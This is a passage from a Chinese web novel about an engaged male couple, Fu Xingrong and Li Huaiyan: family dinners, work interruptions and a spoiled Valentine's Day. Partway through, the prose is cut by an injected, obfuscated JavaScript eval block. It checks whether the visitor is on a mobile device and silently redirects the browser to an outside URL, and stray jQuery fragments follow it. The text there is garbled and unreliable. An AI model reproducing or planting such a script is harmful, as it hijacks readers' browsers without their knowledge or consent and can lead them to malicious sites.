第266章 傅星戎番外

作品:《男配想要抢救一下

    ====================


    春节刚过,城市四处的雪还未完全消融,黎老爷子的事儿被报导,不仅鸿黎上下知道这事儿,圈里圈外也都在观望。


    一个春节的过去了,黎家这变故落下帷幕,鸿黎在业内也没受到一点儿动摇,扶摇直上,势头很猛。


    联姻也没受到影响。


    两人关系和谐,却是有人见不得他们好。


    通俗易懂点说,是见不得黎徊宴这高岭之花真被人给摘下了,摘花的人还是才回国不到一年,恶名在外的浪荡子。


    傅星戎倚着车门,不在意来往路人的目光,手机里一条接着一条的消息往外蹦。


    【早知道我就出手了,妈的,谁他妈传的黎总性冷淡!!!】


    这是悔不当初觉着“我上我也能行”的一类。


    【黎徊宴是性冷淡吧,男人三十还是处,不是性冷淡就是性无能】


    处?早就不是了,这消息挺滞后。


    【不过就是商业联姻,现在鸿黎老爷子出了事儿,黎总在公司难免需要点助力,就他们那个圈子谈感情?别搞笑了】


    这是吃不到葡萄说葡萄酸的类型。


    【就是啊,指不定还会离呢,等着看吧,日子还长着,我听说那位傅少玩挺浪的,一天两天还能忍,久了黎总能受得了?】


    这群里没人盼着点好,因为这一个群多的是贵圈里的gay,表面上闲谈八卦,底下暗潮涌动,针锋相对的火.药味儿都快溢出了屏幕。


    像群里这几条消息,就是小群里某个人给傅星戎通风报的信。


    这人跟他说:【傅少,不管他们怎么说,我是站你这边的】


    把他当成满脑子酒囊饭袋的蠢货呢,挑拨几句,坐等他去同人算账,自己看好戏,把他当枪使儿。


    傅星戎把手机关了,揣进了兜里,觉着在这儿外边吹冷风有点傻逼。


    黎徊宴下班又晚点了,他没给他发消息。


    他在想是在外边等着,还是进他公司找人的时候,人出来了。


    鸿黎公司大楼出口处,黎徊宴打头,身后跟着他助理和几位谈生意的伙伴。


    傅星戎手里把玩着车钥匙,轻轻呵出了一口白气。


    出来几人都一眼看到了他。


    无他,傅星戎本人就够惹眼了,还开了一辆骚包高调的跑车,前台都在群里讨论好几轮了——公司门口有辆豪车在等人,也不知道是哪个富少这么高调来接人,车牌号都是888这种


    吉利数字。


    富少本人唇角轻翘,抬了下手和他们那边打招呼。


    黎徊宴停下了脚步,旁边的人也就跟着停了。


    他让助理替他送送人,也不管旁人是个什么反应,往傅星戎那边走了过去。


    “你怎么来了?”


    “接你下班啊。”傅星戎看向他身后还没走的几人,“客户啊?还有事儿没处理完?”


    “处理完了。”黎徊宴说,“来了怎么没给我发消息?”


    傅星戎:“怕打扰你们谈事儿。”


    黎徊宴慢条斯理说:“我是甲方。”


    “嗯,可厉害了。”傅星戎哼笑。


    听不出是揶揄还是哄人开心,又可能两者都有。


    黎徊宴撩了下眼皮。


    “别在外边说了,冷。”傅星戎随手拉开车门,姿态随意,靠在车门边上,“上车吧,黎大老板。”


    没半点开门小弟的样儿,透着一股子风流的招人。


    黎徊宴钻进了车内,傅星戎关上了车门。


    豪车把他们老板接走了。


    车里比车外暖和多了,傅星戎发动了车子:“我爸他们回来了,问你什么时候有时间,去吃个饭。”


    两人天天住一块儿,有没有时间,傅星戎是再清楚不过了。


    黎徊宴侧了下头,傅星戎正好往后视镜里瞧,说:“没时间不吃也行。”


    “有。”黎徊宴说什么时候都行,“哪天回来的?”


    “就前两天。”傅星戎说。


    黎徊宴一顿。


    年一过,傅星戎紧赶慢赶从外地回来,出了意外的事儿也没通知傅家夫妇,一点风声都没给透露。


    那会他们在傅老爷子那边过年度假,现在回来了,就不一样了。


    黎徊宴不说,但傅星戎猜到了他想的是什么。


    他的视线落在了他受过伤的地方。


    一点皮肉伤,早结痂了。


    “他们还不知道,你别跟他们提那个事儿。”傅星戎言简意赅,“到时候念叨起来没完了,烦。”


    黎徊宴说:“他们那是关心你。”


    傅星戎:“你不关心我?”


    “在说伯父伯母的事儿。”黎徊宴避而不答,就已经是答了。


    傅星戎:“那你答不答应我?”


    黎徊宴答应他了,说:“不提。”


    他不提,也不见得能瞒过傅家人。


    能哄哄人,那就先哄着,别的事再往后放放。


    这些天傅星戎不太爽,不爽


    的原因也很简单。


    车子开到半路,停在了路边。


    傅星戎下车抽了根烟,车上伴侣接了一通工作上的电话。


    今晚这顿饭看来是又吃不了了。


    最近这一阵黎徊宴都很忙,黎老爷子去世,四面八方觊觎的人想咬下一块肉,黎徊宴白天工作,晚上加班,眉眼都添了好几分疲惫。


    忙得都能比得上太子上位了。


    黎徊宴不是太子,他早就是鸿黎那艘大船的掌舵人了,船上人多,掌舵人肩头担子也沉。


    车窗降下来,黎徊宴电话打完了,从车窗露出半张脸。


    “我要去个地方。”他说。


    “跟黎总吃个饭还挺难约。”傅星戎笑着拧了烟头,懒洋洋地迈步上车。


    烟草味散了,没带进车里。


    黎徊宴还是沾了一身烟味儿。


    应酬没有不抽烟喝酒的,西装革履的大老板靠在沙发上,包厢里烟雾缭绕,饭局结束了,大老板没走,他手底下的人也没敢离开。


    有人给他递烟,他没接。


    底下的人额角直冒冷汗。


    “黎总,这是我一时疏忽,上边也不知道怎么,突然就要搞抽查,这谁也没料到。”


    没问题不怕抽查,怕就怕在公司内部内斗,没问题也弄出了问题。


    黎徊宴:“谁的问题,谁担责。”


    “是,是,这是该担责,负责的那小子大学刚毕业,之前表现都挺不错的,哪知道他能捅出这么大篓子——还不来给黎总赔罪!”那人压着一年轻人的脑袋,让他给黎徊宴敬酒。


    年轻人眼眶发红,紧咬牙关,带着少年人未褪去的风发意气,刚出校园,棱角还未被这世俗打磨圆润,“不是我。”


    “鸿黎一向公平公正,陈经理这是在糊弄我?”黎徊宴冷冷淡淡声线叫人琢磨不透,面前一桌子剩饭都快冷了,他拎着外套起了身,“残羹剩饭没人爱吃,一周时间,解决问题,还是解决人,陈经理回去想想吧。”


    多的话,黎徊宴没再说。


    他从包厢里出去,身后跟了好几个人。


    直到包厢空了,那强大气场带来的压迫感才似抽离,陈经理拿着手帕擦了擦额角的冷汗。


    黎徊宴上了车,没让忠叔直接开车。


    大晚上的,路上人都没几个。


    黎徊宴一只手架在半开的车窗边,窗外冷风吹进来,让人清醒不少。


    这个点儿,按照寻常的发展,他和傅星戎去吃个饭,都该在暖被窝了。


    这


    段时间黎徊宴太忙,忙到有些忽略了男朋友。


    那一趟改了目的地,傅星戎也就只说了那一句谈不上抱怨的抱怨,懂事儿有分寸得不行。


    “黎总。”车窗外脚步声接近,是方才在包厢里的年轻人,他弯着腰,敲了敲车窗,“刚才谢谢你替我解围。”


    “嗯。”黎徊宴收回思绪。


    年轻人说着他没有过错的证明,黎徊宴让他有事儿发邮件,鸿黎不会冤枉人。


    和傅星戎同样的年轻,倔的时候看起来有几分相似,处事上却是相差甚远。


    车子开远了。


    年轻人怅然若失的站在原地。


    他替他解了围,为他说了话,多看了他两眼,他以为黎徊宴车停在原地,是在等他。


    车窗外风景一幕幕掠过,车内安静,忽而,一道声音打破了平静。


    “忠叔。”黎徊宴阖着眼靠在后座,“年轻人都喜欢怎么过情人节?”


    这可真是难倒了忠叔。


    老板动心了,想谈恋爱了,好不容易谈了,谈了个小年轻,捧在手心当珍宝,别人都成了鱼目,入不了他的法眼。


    现在又开始琢磨小年轻兴趣爱好了。


    忠叔也不是小年轻,把这难题抛给了同僚:“小陈年轻,小陈应该比我懂。”


    快到情人节了。


    黎徊宴没过过情人节,去年七夕——他和傅星戎第一次初吻,算不得一次非常愉快的初吻,现在回想也有几分啼笑皆非。-


    傅星戎没睡沉。


    黎徊宴回来的动静很小,他也听见了。


    人洗漱完上床,他翻身搂住了他的腰。


    “还没睡?”


    “睡了。”傅星戎带着点昏睡的鼻音,摸了摸他手,“怎么这么凉?”


    “洗手碰了水。”黎徊宴说。


    傅星戎:“喝酒了?”


    “嗯,一点儿。”


    黎徊宴洗个澡,身上没酒味,口腔里也是漱口水的清新味儿,唯一泄露的地方是他的嗓音和说话腔调,带着一股微醺放松的困倦。


    这可不像一点儿。


    两人有一搭没一搭,声音渐低,依偎着睡了过去。


    周末晚上七点,傅家。


    傅星戎说不用特意准备东西,黎徊宴还是备了,做足了上未婚夫家门的礼仪。


    厨房,傅星戎切着水果。


    相似的场景,相似的处境。


    老傅又把他给支开了。


    也不知道什么话,还得避着他说,他拿叉子叉了一


    块梨放嘴里,脆甜的滋味儿弥漫开,门口多了一道人影,是傅夫人——他妈来了


    “妈。”他推了推果盘,“吃梨吗?”


    “让你切个水果,你还在里面吃上了。”他妈走进来。


    “这不是怕太快出去,你和老傅没有发挥的余地。”傅星戎腮帮子一动一动,道,“支开我就不能找个走心点儿的理由?”


    “你护得跟什么似的,我跟你爸还能吃了他不成?”他妈道。


    傅星戎:“哪儿呢,这不是热恋期,分开一下都难受。”


    傅夫人:“……”


    “别贫嘴。”他妈问他,他手上那淤青是不是和黎徊宴有关系。


    “妈,你想什么呢?”傅星戎道,“你看黎总那样儿,像是会对我动手的人?”


    他明知道她不是那个意思。


    “你就骗我吧。”傅夫人擦了擦眼角不存在的泪,又想起他去年被流弹打中,命悬一线,说他不爱惜自己身体,任性妄为。


    “是是是,我任性。”傅星戎道,“我以后里三层外三层给身上抹护肤品,一定好好爱惜。”


    厨房门外,一道身影晃过,微乎其微的脚步声回到了客厅。


    傅董接电话去了,客厅只剩下黎徊宴一人,他长腿微曲,端着桌上茶水轻抿。


    傅星戎不让他提那个事儿,哪是烦他爸妈念叨,是不想让他在他爸妈面前留下点不好的印象,不想让他爸妈觉着,他跟他在一起有风险,不安全。


    也可能是有点嫌解释麻烦在里面。


    吃过晚饭,他被傅夫人叫住。


    她儿子喜欢他,他们也中意这门亲事。她在探他口风,打探他对他们儿子真心有几分。


    黎徊宴性情不简单,忍的时候能忍,一旦动了心思,就不给人留活路,就像他对那同父异母的弟弟。


    他能让他进公司,让他手握权力,也能在一夕之间,让他一无所有,跌入谷底,手段狠绝。


    这份果决和薄情,难免会让人觉得有几分不安。


    他心思太深。


    傅夫人:“我只有星戎这一个儿子,没见过他对谁这么上心。”


    黎徊宴一顿:“我未来的先生,也只会有一个。”


    放在心尖上的人,有这么一个,就够了。


    饭吃完了,两人没有留宿。


    上了车,关上车门,傅星戎提醒黎徊宴系上安全带,到了只有两人的私下,他才问了他一嘴:“我爸他们跟你说什么了?”


    “没说什么。”黎徊宴说。


    傅星戎从后视镜看了他一眼,没说什么,这么心不在焉的,人在车里,魂不知道飞哪儿去了。


    黎徊宴:“你手磕青的地方还没好?”


    “好了。”傅星戎说。


    黎徊宴侧过脸,看了他两秒,不知道怎么得出了个结论:“你这几天都没擦药。”


    傅星戎:“忘了。”


    实际上是他嫌味儿大,懒得擦。


    “回去你给我擦啊。”他道。


    过了会儿,黎徊宴开口:“你最近……”


    “嗯?”


    “没什么。”


    “还得我猜呢?”


    “……”


    “我最近挺好的。”傅星戎说。


    是挺好,除了两人办事儿的时候都会被打断这点除外。


    晚上回到家,傅星戎脱了外套,去洗了个澡,手臂上淤青没散,一块一块的,不好消,摸着没多疼。


    黎徊宴依言给他上药,连擦带揉,那一块皮肤都在发热。


    夜黑风高,一个不小心就容易擦枪走火,傅星戎把人压在沙发上,衣服都扒了,手机不解风情的响了起来,一声接着一声,格外的煞风景。


    “等会儿。”黎徊宴推着他胸口。


    操。


    傅星戎心下低骂了声,松了力道。


    两人气喘吁吁,电话是黎徊宴助理打来的。


    傅星戎靠在一边沙发上,看他和助理打电话。


    黎徊宴和人打电话的时候,脸上表情沉着而又冷淡,挺有成年男性的魅力,处理公事儿游刃有余的语调也特别吸引人,不过这也意味着,今天这事儿继续不下去了。


    他一边扣着衣服,一边和傅星戎说出门一趟,“你先睡,不用等我。”


    “你就这样儿……”傅星戎眼神示意了过去,挑眉,“出得了门?”


    黎徊宴拿过桌上半杯水灌下去:“等几分钟就消了。”


    傅星戎问他什么事儿这么急,黎徊宴说公司里一个年轻人,弄出了点事儿。


    “男的女的?”


    “男的。”


    “多大年纪?”


    “……”


    黎徊宴从一身火气里找回了点神,淡色的眸子瞥向傅星戎,“问这个干什么?”


    “你说干什么?”傅星戎说,“我未婚夫,大半夜跑去陪别的人,我多问两句怎么了?”


    “我未婚夫”四个字从黎徊宴耳朵里穿过,他凸起的喉结滚了两下:“不知道,我没查过。”


    这一身火气一时半会儿有些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998210|89484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    消不下去了。


    他又纠正道:“我不是去陪他。”


    傅星戎可有可无的从鼻间哼了声。


    黎徊宴去冰箱里拿了一瓶矿泉水,还没拧开,身后一道重影袭来,冰箱门被一只宽大的手盖上。


    “黎哥,我就在你面前呢。”傅星戎说,“你找我帮帮忙,不比这个痛快舒服多了?”


    两人在一起之后,鲜少有吃得这么素的时候了,偶尔来一次,还挺别有滋味儿。


    傅星戎借了他一只手,替他潦草的办了个事儿,潦草却是不敷衍。


    完了事儿,黎徊宴穿上衣服准备出门,傅星戎衣服从头乱到尾,躺在沙发上也没整理,腹肌露了大片,呼吸间轻微的起伏着,一眼就能看出刚才发生过什么的程度。


    “你自己睡,不用等我。”


    傅星戎盖住眼帘的手臂拿下来,“嗯”了声。


    “我走了。”


    “嗯。”


    某一瞬间,黎徊宴有种自己成了下床不认人渣男的错觉。


    还有一种不想离开的冲动。


    黎徊宴抑制住这股劲儿,挪开了眼,拿上手机。


    傅星戎翻身坐起,衣摆盖了下来:“走吧,送你。”


    这个送,也就止步于电梯。


    黎徊宴工作上的事儿,傅星戎不怎么插手,对于那年轻小伙儿,他也不是真那么在意,年轻小伙儿那么多,觊觎黎徊宴的更是多,光是圈子里就有一堆,真要在意,每天光是吃醋都能填饱肚子了。


    黎徊宴出了门,傅星戎没睡,回屋进了房间里倒腾。


    快情人节了。


    以往二十多个的情人节,那都和他没关系。


    今年不一样,有对象了,那就有关系了。能用钱买到的,黎徊宴都不缺,他也不缺,傅星戎想给点特别的,毕竟这是他们在一起后的第一个情人节。


    他不知道黎徊宴记不记得情人节这回事儿,他以前有没有谈过,和谁谈,除了那姓季的,他也没听说过别的人,过没过过情人节就更不知道了。


    他看起来不太像那种喜欢过这种节日的性子,不过傅星戎还是挺期待他收到礼物是个什么表情。


    没成想,当天礼物和计划都齐全了,缺个人——黎徊宴要出席一个慈善晚会,没腾出时间。


    “嗡嗡”。


    隔着一层布料紧贴大腿的手机震动着,黎徊宴面上带着寡淡的笑,拿着高脚杯,面前的人带着女伴,问他怎么一个人,“那位傅少怎么没陪你?”


    他打趣道:“不会跑哪儿


    玩儿去了吧?”


    明显不怀好意的问话。


    生意场上难免树敌,他们这圈子,不会直白的给人难堪,拐着弯让人不舒服的话却是不少,也正因没撕破脸皮,这话便叫人如鲠在喉,又不好发作。


    手机还在震。


    黎徊宴道了声“稍等”,拿出了手机。


    傅星戎一连串的给他发了好些消息,不是问他什么时候回,而是一连串的转发新闻文章,标题十分醒目。


    【惊!竟有人把工作当对象!】


    【论当代青年工作压力,秃顶如何拯救】


    【竟有人工作太忙,忘记自己已经结婚】


    黎徊宴:“……”


    对面的人搂着女伴的腰,道:“唉,要我说,这对象啊,还是得找个贴心的,知冷暖才好。”


    “余总说得是。”黎徊宴不动声色,道,“未婚夫担心我工作太累,一天没见就怕我忘了他,我回个消息,见谅。”


    黎徊宴:【暂时还秃不了】


    傅星戎百无聊赖的坐在车后座,不由哼笑了声,指尖敲字:【不是忙呢?】


    黎徊宴:【抽空回你】


    傅星戎问他慈善晚会怎么样,黎徊宴回了俩字,无聊。傅星戎乐了两声,打字:【我是问还得多久】


    那头撤回了上一条消息,回道:【一个多小时】


    傅星戎回了个“你忙吧”,那边没再回,他把手机熄了屏,塞进了兜里,剥了颗润喉糖塞嘴里,阖着眼昏昏欲睡,这几天晚上都没怎么休息好。


    前边车门开了,忠叔下车透了口气,抽了根烟提提神,回过头递给他一瓶水:“傅先生,这时间还早呢,你要不要先去吃个饭?”


    傅星戎说不饿,他就没再多话。


    后座年轻男人懒洋洋的窝在车座上,旁边放着一束花,忠叔瞧着那束花有点眼熟,他眼一抬,从后视镜上和男人对上视线,笑了笑,道:“今天这日子,黎总心里是记得的,只是不凑巧。”


    傅星戎没不高兴的模样,同他聊了起来:“叔,你和嫂子怎么过情人节的?”


    忠叔:“……”这话有些似曾相识。


    “我们老夫老妻了,这日子能过就过,不能过就算了,也不缺这一天。”忠叔道。


    傅星戎身体前倾,问:“你不陪嫂子,她不会不高兴?”


    “前几年会,后来我给她买花,不管多晚回去,给她买一束花,她都是高兴的——”他话锋一转,“说起来,这么多年来,我还没见过黎总给谁送过花,傅先生,黎总虽然人


    看着有些冷淡,但是是真在意你的。”


    “你说郁金香?”傅星戎心说,那天那花他没收到,被扔垃圾桶了,那花还真是黎徊宴买的,啧,便宜垃圾桶了。


    “他很喜欢郁金香?”傅星戎又问。


    忠叔说:“黎总喜欢什么花,这个我倒是不知道,我没见他特意为谁去买过花,那天黎总进去挑了很久,出来的时候心情很好,直接就去找你了……送花总归是表达心意的一种方式,黎总心里是在意你的。”


    “应该是傅先生你喜欢吧。”他道。


    送花自然是以对方的喜好为基础。


    忠叔半晌没听到回声,扭头一看,见傅星戎半张脸隐没在昏暗的光线里,晦暗不明。


    那是黎徊宴第一次给人买花。


    从挑花,到款式的选择,都是他亲自挑的。


    ——“那天黎总进去挑了很久,出来的时候心情很好,直接就去找你了。”


    傅星戎耳畔回响着忠叔这话。


    第一次送花,结果阴差阳错叫他听到了误会的话,一腔真心喂了狗,没冲上来给他一拳都算是维持着自身良好的涵养了。


    本以为是大喜之日,结果唢呐一响,直接办起了丧事,一天之内大起大落,这花就是“见证人”。


    傅星戎若有所思的看着那束郁金香。


    这花还是甭送了。


    他握着那束花,抬手推开了车门。


    “砰”——车门合上。


    黎徊宴坐在车后座,解了西装外套扣子。


    后视镜中的人眉眼冷淡,下颚线凌厉,眼角带着点锐意的弧度,掀开眼帘。


    一头茂密的黑色短发,远远还不到秃的程度。


    “黎总。”忠叔见他神色有些怪,问,“哪里不舒服吗?”


    黎徊宴摁了摁额角:“没事儿。”


    他让忠叔开点窗户透气,脚一动,似踩到了什么东西,他垂下眼。


    “忠叔。”他捡起一支落在地上的花瓣,指腹揉捻,“你买花了?”


    “没,傅先生来了。”忠叔说,“才下去没多久。”


    黎徊宴一顿,他拿出手机,聊天框还停留在傅星戎给他发的最后一条消息上,几句话间半点没透露。


    “他刚才才下了车呢。”忠叔说。


    这个“刚才”,是指半个小时前。


    花店门口风铃声响,穿着黑大衣的男人从门外进来。情人节买花的客人很多,这个点儿了,好些花店备货都不太齐全了。


    “欢迎光临。”员工上前